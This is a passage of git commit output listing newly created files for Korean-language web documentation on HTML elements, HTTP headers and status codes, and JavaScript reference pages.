files/ko/web/html/element/b/index.html create mode 100644 files/ko/web/html/element/base/index.html create mode 100644 files/ko/web/html/element/bdo/index.html create mode 100644 files/ko/web/html/element/blockquote/index.html create mode 100644 files/ko/web/html/element/body/index.html create mode 100644 files/ko/web/html/element/br/index.html create mode 100644 files/ko/web/html/element/button/index.html create mode 100644 files/ko/web/html/element/canvas/index.html create mode 100644 files/ko/web/html/element/caption/index.html create mode 100644 files/ko/web/html/element/center/index.html create mode 100644 files/ko/web/html/element/cite/index.html create mode 100644 files/ko/web/html/element/code/index.html create mode 100644 files/ko/web/html/element/col/index.html create mode 100644 files/ko/web/html/element/colgroup/index.html create mode 100644 files/ko/web/html/element/command/index.html create mode 100644 files/ko/web/html/element/content/index.html create mode 100644 files/ko/web/html/element/data/index.html create mode 100644 files/ko/web/html/element/datalist/index.html create mode 100644 files/ko/web/html/element/dd/index.html create mode 100644 files/ko/web/html/element/del/index.html create mode 100644 files/ko/web/html/element/details/index.html create mode 100644 files/ko/web/html/element/dfn/index.html create mode 100644 files/ko/web/html/element/dialog/index.html create mode 100644 files/ko/web/html/element/div/index.html create mode 100644 files/ko/web/html/element/dl/index.html create mode 100644 files/ko/web/html/element/dt/index.html create mode 100644 files/ko/web/html/element/element/index.html create mode 100644 files/ko/web/html/element/em/index.html create mode 100644 files/ko/web/html/element/embed/index.html create mode 100644 files/ko/web/html/element/fieldset/index.html create mode 100644 files/ko/web/html/element/figcaption/index.html create mode 100644 files/ko/web/html/element/figure/index.html create mode 100644 files/ko/web/html/element/font/index.html create mode 100644 files/ko/web/html/element/footer/index.html create mode 100644 files/ko/web/html/element/form/index.html create mode 100644 files/ko/web/html/element/frame/index.html create mode 100644 files/ko/web/html/element/frameset/index.html create mode 100644 files/ko/web/html/element/head/index.html create mode 100644 files/ko/web/html/element/header/index.html create mode 100644 files/ko/web/html/element/heading_elements/index.html create mode 100644 files/ko/web/html/element/hgroup/index.html create mode 100644 files/ko/web/html/element/hr/index.html create mode 100644 files/ko/web/html/element/html/index.html create mode 100644 files/ko/web/html/element/i/index.html create mode 100644 files/ko/web/html/element/iframe/index.html create mode 100644 files/ko/web/html/element/img/index.html create mode 100644 files/ko/web/html/element/index.html create mode 100644 files/ko/web/html/element/input/button/index.html create mode 100644 files/ko/web/html/element/input/date/index.html create mode 100644 files/ko/web/html/element/input/file/index.html create mode 100644 files/ko/web/html/element/input/index.html create mode 100644 files/ko/web/html/element/input/radio/index.html create mode 100644 files/ko/web/html/element/ins/index.html create mode 100644 files/ko/web/html/element/kbd/index.html create mode 100644 files/ko/web/html/element/keygen/index.html create mode 100644 files/ko/web/html/element/label/index.html create mode 100644 files/ko/web/html/element/legend/index.html create mode 100644 files/ko/web/html/element/li/index.html create mode 100644 files/ko/web/html/element/link/index.html create mode 100644 files/ko/web/html/element/main/index.html create mode 100644 files/ko/web/html/element/map/index.html create mode 100644 files/ko/web/html/element/mark/index.html create mode 100644 files/ko/web/html/element/menu/index.html create mode 100644 files/ko/web/html/element/meta/index.html create mode 100644 files/ko/web/html/element/meta/name/index.html create mode 100644 files/ko/web/html/element/meter/index.html create mode 100644 files/ko/web/html/element/nav/index.html create mode 100644 files/ko/web/html/element/noscript/index.html create mode 100644 files/ko/web/html/element/object/index.html create mode 100644 files/ko/web/html/element/ol/index.html create mode 100644 files/ko/web/html/element/optgroup/index.html create mode 100644 files/ko/web/html/element/option/index.html create mode 100644 files/ko/web/html/element/output/index.html create mode 100644 files/ko/web/html/element/p/index.html create mode 100644 files/ko/web/html/element/param/index.html create mode 100644 files/ko/web/html/element/pre/index.html create mode 100644 files/ko/web/html/element/progress/index.html create mode 100644 files/ko/web/html/element/q/index.html create mode 100644 files/ko/web/html/element/rb/index.html create mode 100644 files/ko/web/html/element/rp/index.html create mode 100644 files/ko/web/html/element/rt/index.html create mode 100644 files/ko/web/html/element/rtc/index.html create mode 100644 files/ko/web/html/element/ruby/index.html create mode 100644 files/ko/web/html/element/s/index.html create mode 100644 files/ko/web/html/element/samp/index.html create mode 100644 files/ko/web/html/element/script/index.html create mode 100644 files/ko/web/html/element/section/index.html create mode 100644 files/ko/web/html/element/select/index.html create mode 100644 files/ko/web/html/element/slot/index.html create mode 100644 files/ko/web/html/element/small/index.html create mode 100644 files/ko/web/html/element/span/index.html create mode 100644 files/ko/web/html/element/strong/index.html create mode 100644 files/ko/web/html/element/style/index.html create mode 100644 files/ko/web/html/element/sub/index.html create mode 100644 files/ko/web/html/element/summary/index.html create mode 100644 files/ko/web/html/element/sup/index.html create mode 100644 files/ko/web/html/element/table/index.html create mode 100644 files/ko/web/html/element/tbody/index.html create mode 100644 files/ko/web/html/element/td/index.html create mode 100644 files/ko/web/html/element/template/index.html create mode 100644 files/ko/web/html/element/textarea/index.html create mode 100644 files/ko/web/html/element/th/index.html create mode 100644 files/ko/web/html/element/thead/index.html create mode 100644 files/ko/web/html/element/time/index.html create mode 100644 files/ko/web/html/element/title/index.html create mode 100644 files/ko/web/html/element/tr/index.html create mode 100644 files/ko/web/html/element/track/index.html create mode 100644 files/ko/web/html/element/u/index.html create mode 100644 files/ko/web/html/element/ul/index.html create mode 100644 files/ko/web/html/element/var/index.html create mode 100644 files/ko/web/html/element/video/index.html create mode 100644 files/ko/web/html/element/wbr/index.html create mode 100644 files/ko/web/html/global_attributes/accesskey/index.html create mode 100644 files/ko/web/html/global_attributes/autocapitalize/index.html create mode 100644 files/ko/web/html/global_attributes/contenteditable/index.html create mode 100644 files/ko/web/html/global_attributes/contextmenu/index.html create mode 100644 files/ko/web/html/global_attributes/data-_star_/index.html create mode 100644 files/ko/web/html/global_attributes/dir/index.html create mode 100644 files/ko/web/html/global_attributes/draggable/index.html create mode 100644 files/ko/web/html/global_attributes/dropzone/index.html create mode 100644 files/ko/web/html/global_attributes/hidden/index.html create mode 100644 files/ko/web/html/global_attributes/id/index.html create mode 100644 files/ko/web/html/global_attributes/index.html create mode 100644 files/ko/web/html/global_attributes/inputmode/index.html create mode 100644 files/ko/web/html/global_attributes/is/index.html create mode 100644 files/ko/web/html/global_attributes/itemid/index.html create mode 100644 files/ko/web/html/global_attributes/itemprop/index.html create mode 100644 files/ko/web/html/global_attributes/itemref/index.html create mode 100644 files/ko/web/html/global_attributes/itemscope/index.html create mode 100644 files/ko/web/html/global_attributes/lang/index.html create mode 100644 files/ko/web/html/global_attributes/part/index.html create mode 100644 files/ko/web/html/global_attributes/slot/index.html create mode 100644 files/ko/web/html/global_attributes/spellcheck/index.html create mode 100644 files/ko/web/html/global_attributes/style/index.html create mode 100644 files/ko/web/html/global_attributes/tabindex/index.html create mode 100644 files/ko/web/html/global_attributes/title/index.html create mode 100644 files/ko/web/html/global_attributes/translate/index.html create mode 100644 "files/ko/web/html/global_attributes/\355\201\264\353\236\230\354\212\244/index.html" create mode 100644 files/ko/web/html/html5/index.html create mode 100644 files/ko/web/html/html5/introduction_to_html5/index.html create mode 100644 "files/ko/web/html/html5_\353\254\270\354\204\234\354\235\230_\354\204\271\354\205\230\352\263\274_\354\234\244\352\263\275/index.html" create mode 100644 files/ko/web/html/index.html create mode 100644 files/ko/web/html/index/index.html create mode 100644 files/ko/web/html/inline_elements/index.html create mode 100644 files/ko/web/html/link_types/index.html create mode 100644 files/ko/web/html/preloading_content/index.html create mode 100644 files/ko/web/html/quirks_mode_and_standards_mode/index.html create mode 100644 files/ko/web/html/reference/index.html create mode 100644 files/ko/web/html/using_the_application_cache/index.html create mode 100644 files/ko/web/http/authentication/index.html create mode 100644 files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html create mode 100644 files/ko/web/http/basics_of_http/data_uris/index.html create mode 100644 files/ko/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html create mode 100644 files/ko/web/http/basics_of_http/index.html create mode 100644 files/ko/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/ko/web/http/basics_of_http/mime_types/index.html create mode 100644 files/ko/web/http/caching/index.html create mode 100644 files/ko/web/http/compression/index.html create mode 100644 files/ko/web/http/conditional_requests/index.html create mode 100644 files/ko/web/http/connection_management_in_http_1.x/index.html create mode 100644 files/ko/web/http/content_negotiation/index.html create mode 100644 files/ko/web/http/cookies/index.html create mode 100644 files/ko/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/ko/web/http/cors/errors/corsrequestnothttp/index.html create mode 100644 files/ko/web/http/cors/errors/index.html create mode 100644 files/ko/web/http/cors/index.html create mode 100644 files/ko/web/http/headers/accept-charset/index.html create mode 100644 files/ko/web/http/headers/accept-encoding/index.html create mode 100644 files/ko/web/http/headers/accept-language/index.html create mode 100644 files/ko/web/http/headers/accept-ranges/index.html create mode 100644 files/ko/web/http/headers/accept/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-credentials/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-headers/index.html create mode 100644 files/ko/web/http/headers/access-control-allow-origin/index.html create mode 100644 files/ko/web/http/headers/access-control-request-headers/index.html create mode 100644 files/ko/web/http/headers/access-control-request-method/index.html create mode 100644 files/ko/web/http/headers/age/index.html create mode 100644 files/ko/web/http/headers/allow/index.html create mode 100644 files/ko/web/http/headers/authorization/index.html create mode 100644 files/ko/web/http/headers/cache-control/index.html create mode 100644 files/ko/web/http/headers/connection/index.html create mode 100644 files/ko/web/http/headers/content-disposition/index.html create mode 100644 files/ko/web/http/headers/content-encoding/index.html create mode 100644 files/ko/web/http/headers/content-language/index.html create mode 100644 files/ko/web/http/headers/content-length/index.html create mode 100644 files/ko/web/http/headers/content-location/index.html create mode 100644 files/ko/web/http/headers/content-range/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/default-src/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/img-src/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/report-to/index.html create mode 100644 files/ko/web/http/headers/content-security-policy/script-src/index.html create mode 100644 files/ko/web/http/headers/content-type/index.html create mode 100644 files/ko/web/http/headers/cookie/index.html create mode 100644 files/ko/web/http/headers/date/index.html create mode 100644 files/ko/web/http/headers/dnt/index.html create mode 100644 files/ko/web/http/headers/etag/index.html create mode 100644 files/ko/web/http/headers/expect/index.html create mode 100644 files/ko/web/http/headers/expires/index.html create mode 100644 files/ko/web/http/headers/forwarded/index.html create mode 100644 files/ko/web/http/headers/from/index.html create mode 100644 files/ko/web/http/headers/host/index.html create mode 100644 files/ko/web/http/headers/if-modified-since/index.html create mode 100644 files/ko/web/http/headers/if-range/index.html create mode 100644 files/ko/web/http/headers/index.html create mode 100644 files/ko/web/http/headers/keep-alive/index.html create mode 100644 files/ko/web/http/headers/last-modified/index.html create mode 100644 files/ko/web/http/headers/origin/index.html create mode 100644 files/ko/web/http/headers/pragma/index.html create mode 100644 files/ko/web/http/headers/range/index.html create mode 100644 files/ko/web/http/headers/referer/index.html create mode 100644 files/ko/web/http/headers/retry-after/index.html create mode 100644 files/ko/web/http/headers/server/index.html create mode 100644 files/ko/web/http/headers/set-cookie/index.html create mode 100644 files/ko/web/http/headers/strict-transport-security/index.html create mode 100644 files/ko/web/http/headers/transfer-encoding/index.html create mode 100644 files/ko/web/http/headers/vary/index.html create mode 100644 files/ko/web/http/headers/via/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-for/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-host/index.html create mode 100644 files/ko/web/http/headers/x-forwarded-proto/index.html create mode 100644 files/ko/web/http/headers/x-frame-options/index.html create mode 100644 files/ko/web/http/headers/x-xss-protection/index.html create mode 100644 files/ko/web/http/index.html create mode 100644 files/ko/web/http/index/index.html create mode 100644 files/ko/web/http/messages/index.html create mode 100644 files/ko/web/http/methods/connect/index.html create mode 100644 files/ko/web/http/methods/delete/index.html create mode 100644 files/ko/web/http/methods/get/index.html create mode 100644 files/ko/web/http/methods/head/index.html create mode 100644 files/ko/web/http/methods/index.html create mode 100644 files/ko/web/http/methods/options/index.html create mode 100644 files/ko/web/http/methods/patch/index.html create mode 100644 files/ko/web/http/methods/post/index.html create mode 100644 files/ko/web/http/methods/put/index.html create mode 100644 files/ko/web/http/overview/index.html create mode 100644 files/ko/web/http/range_requests/index.html create mode 100644 files/ko/web/http/redirections/index.html create mode 100644 files/ko/web/http/resources_and_specifications/index.html create mode 100644 files/ko/web/http/resources_and_uris/index.html create mode 100644 files/ko/web/http/session/index.html create mode 100644 files/ko/web/http/status/100/index.html create mode 100644 files/ko/web/http/status/101/index.html create mode 100644 files/ko/web/http/status/103/index.html create mode 100644 files/ko/web/http/status/200/index.html create mode 100644 files/ko/web/http/status/201/index.html create mode 100644 files/ko/web/http/status/202/index.html create mode 100644 files/ko/web/http/status/204/index.html create mode 100644 files/ko/web/http/status/205/index.html create mode 100644 files/ko/web/http/status/206/index.html create mode 100644 files/ko/web/http/status/301/index.html create mode 100644 files/ko/web/http/status/302/index.html create mode 100644 files/ko/web/http/status/304/index.html create mode 100644 files/ko/web/http/status/307/index.html create mode 100644 files/ko/web/http/status/400/index.html create mode 100644 files/ko/web/http/status/401/index.html create mode 100644 files/ko/web/http/status/403/index.html create mode 100644 files/ko/web/http/status/404/index.html create mode 100644 files/ko/web/http/status/405/index.html create mode 100644 files/ko/web/http/status/408/index.html create mode 100644 files/ko/web/http/status/409/index.html create mode 100644 files/ko/web/http/status/411/index.html create mode 100644 files/ko/web/http/status/413/index.html create mode 100644 files/ko/web/http/status/416/index.html create mode 100644 files/ko/web/http/status/418/index.html create mode 100644 files/ko/web/http/status/422/index.html create mode 100644 files/ko/web/http/status/431/index.html create mode 100644 files/ko/web/http/status/500/index.html create mode 100644 files/ko/web/http/status/501/index.html create mode 100644 files/ko/web/http/status/502/index.html create mode 100644 files/ko/web/http/status/503/index.html create mode 100644 files/ko/web/http/status/504/index.html create mode 100644 files/ko/web/http/status/505/index.html create mode 100644 files/ko/web/http/status/index.html create mode 100644 "files/ko/web/http/user_agent\353\245\274_\354\235\264\354\232\251\355\225\234_\353\270\214\353\235\274\354\232\260\354\240\200_\352\260\220\354\247\200/index.html" create mode 100644 files/ko/web/index.html create mode 100644 files/ko/web/javascript/about/index.html create mode 100644 files/ko/web/javascript/data_structures/index.html create mode 100644 files/ko/web/javascript/differential_inheritance_in_javascript/index.html create mode 100644 files/ko/web/javascript/enumerability_and_ownership_of_properties/index.html create mode 100644 files/ko/web/javascript/equality_comparisons_and_sameness/index.html create mode 100644 files/ko/web/javascript/eventloop/index.html create mode 100644 files/ko/web/javascript/guide/closures/index.html create mode 100644 files/ko/web/javascript/guide/control_flow_and_error_handling/index.html create mode 100644 files/ko/web/javascript/guide/expressions_and_operators/index.html create mode 100644 files/ko/web/javascript/guide/index.html create mode 100644 files/ko/web/javascript/guide/indexed_collections/index.html create mode 100644 files/ko/web/javascript/guide/inheritance_and_the_prototype_chain/index.html create mode 100644 files/ko/web/javascript/guide/iterators_and_generators/index.html create mode 100644 files/ko/web/javascript/guide/keyed_collections/index.html create mode 100644 files/ko/web/javascript/guide/loops_and_iteration/index.html create mode 100644 files/ko/web/javascript/guide/modules/index.html create mode 100644 files/ko/web/javascript/guide/numbers_and_dates/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/about/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_properties_for_an_object_type/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/deleting_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/indexing_object_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_a_constructor_function/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/using_this_for_object_references/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/expressions/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/javascript_overview/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/literals/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/objects_and_properties/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/arithmetic_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/assignment_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/bitwise_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html create mode 100644 files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html create mode 100644 files/ko/web/javascript/guide/text_formatting/index.html create mode 100644 files/ko/web/javascript/guide/using_promises/index.html create mode 100644 files/ko/web/javascript/guide/values,_variables,_and_literals/index.html create mode 100644 files/ko/web/javascript/guide/working_with_objects/index.html create mode 100644 "files/ko/web/javascript/guide/\352\260\235\354\262\264_\353\252\250\353\215\270\354\235\230_\354\204\270\353\266\200\354\202\254\355\225\255/index.html" create mode 100644 "files/ko/web/javascript/guide/\353\251\224\355\203\200_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\206\214\352\260\234/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/assertions/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/groups_and_ranges/index.html" create mode 100644 "files/ko/web/javascript/guide/\354\240\225\352\267\234\354\213\235/index.html" create mode 100644 "files/ko/web/javascript/guide/\355\225\250\354\210\230/index.html" create mode 100644 files/ko/web/javascript/index.html create mode 100644 files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html create mode 100644 files/ko/web/javascript/javascript_technologies_overview/index.html create mode 100644 files/ko/web/javascript/memory_management/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.5/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.6/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8.1/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8.5/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/1.8/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html create mode 100644 files/ko/web/javascript/new_in_javascript/index.html create mode 100644 files/ko/web/javascript/reference/about/index.html create mode 100644 files/ko/web/javascript/reference/classes/class_fields/index.html create mode 100644 files/ko/web/javascript/reference/classes/constructor/index.html create mode 100644 files/ko/web/javascript/reference/classes/extends/index.html create mode 100644 files/ko/web/javascript/reference/classes/index.html create mode 100644 files/ko/web/javascript/reference/classes/private_class_fields/index.html create mode 100644 files/ko/web/javascript/reference/classes/static/index.html create mode 100644 files/ko/web/javascript/reference/deprecated_and_obsolete_features/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_octal/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_radix/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_regexp_flag/index.html create mode 100644 files/ko/web/javascript/reference/errors/bad_return_or_yield/index.html create mode 100644 files/ko/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html create mode 100644 files/ko/web/javascript/reference/errors/delete_in_strict_mode/index.html create mode 100644 files/ko/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html create mode 100644 files/ko/web/javascript/reference/errors/deprecated_octal/index.html create mode 100644 files/ko/web/javascript/reference/errors/identifier_after_number/index.html create mode 100644 files/ko/web/javascript/reference/errors/illegal_character/index.html create mode 100644 files/ko/web/javascript/reference/errors/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_array_length/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_date/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_for-in_initializer/index.html create mode 100644 files/ko/web/javascript/reference/errors/invalid_for-of_initializer/index.html create mode 100644 files/ko/web/javascript/reference/errors/is_not_iterable/index.html create mode 100644 files/ko/web/javascript/reference/errors/json_bad_parse/index.html create mode 100644 files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html create mode 100644 files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html create mode 100644 files/ko/web/javascript/reference/errors/more_arguments_needed/index.html create mode 100644 files/ko/web/javascript/reference/errors/negative_repetition_count/index.html create mode 100644 files/ko/web/javascript/reference/errors/no_variable_name/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_a_codepoint/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_a_constructor/index.html create mode 100644 files/ko/web/javascript/reference/errors/not_defined/index.html create mode 100644 files/ko/web/javascript/reference/errors/precision_range/index.html create mode 100644 files/ko/web/javascript/reference/errors/property_access_denied/index.html create mode 100644 files/ko/web/javascript/reference/errors/read-only/index.html create mode 100644 files/ko/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html create mode 100644 files/ko/web/javascript/reference/errors/reserved_identifier/index.html create mode 100644 files/ko/web/javascript/reference/errors/resulting_string_too_large/index.html create mode 100644 files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html create mode 100644 files/ko/web/javascript/reference/errors/too_much_recursion/index.html create mode 100644 files/ko/web/javascript/reference/errors/undeclared_var/index.html create mode 100644 files/ko/web/javascript/reference/errors/undefined_prop/index.html create mode 100644 files/ko/web/javascript/reference/errors/unexpected_token/index.html create mode 100644 files/ko/web/javascript/reference/errors/unexpected_type/index.html create mode 100644 files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/callee/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/caller/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/index.html create mode 100644 files/ko/web/javascript/reference/functions/arguments/length/index.html create mode 100644 files/ko/web/javascript/reference/functions/default_parameters/index.html create mode 100644 files/ko/web/javascript/reference/functions/get/index.html create mode 100644 files/ko/web/javascript/reference/functions/index.html create mode 100644 files/ko/web/javascript/reference/functions/method_definitions/index.html create mode 100644 files/ko/web/javascript/reference/functions/rest_parameters/index.html create mode 100644 files/ko/web/javascript/reference/functions/set/index.html create mode 100644 "files/ko/web/javascript/reference/functions/\354\225\240\353\241\234\354\232\260_\355\216\221\354\205\230/index.html" create mode 100644 files/ko/web/javascript/reference/global_objects/aggregateerror/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@iterator/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@species/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/@@unscopables/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/array/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/concat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/copywithin/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/entries/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/every/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/fill/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/filter/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/find/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/findindex/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/flat/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/flatmap/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/foreach/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/from/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/includes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/indexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/isarray/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/join/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/keys/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/lastindexof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/length/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/map/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/observe/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/of/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/pop/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/push/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reduce/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reduceright/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/reverse/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/shift/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/some/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/sort/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/splice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tosource/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/unshift/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/array/values/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/arraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/bytelength/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/asyncfunction/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/atomics/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getdate/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getday/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gethours/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getminutes/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getmonth/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getseconds/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gettime/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html create mode 100644 files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html create mode 100644 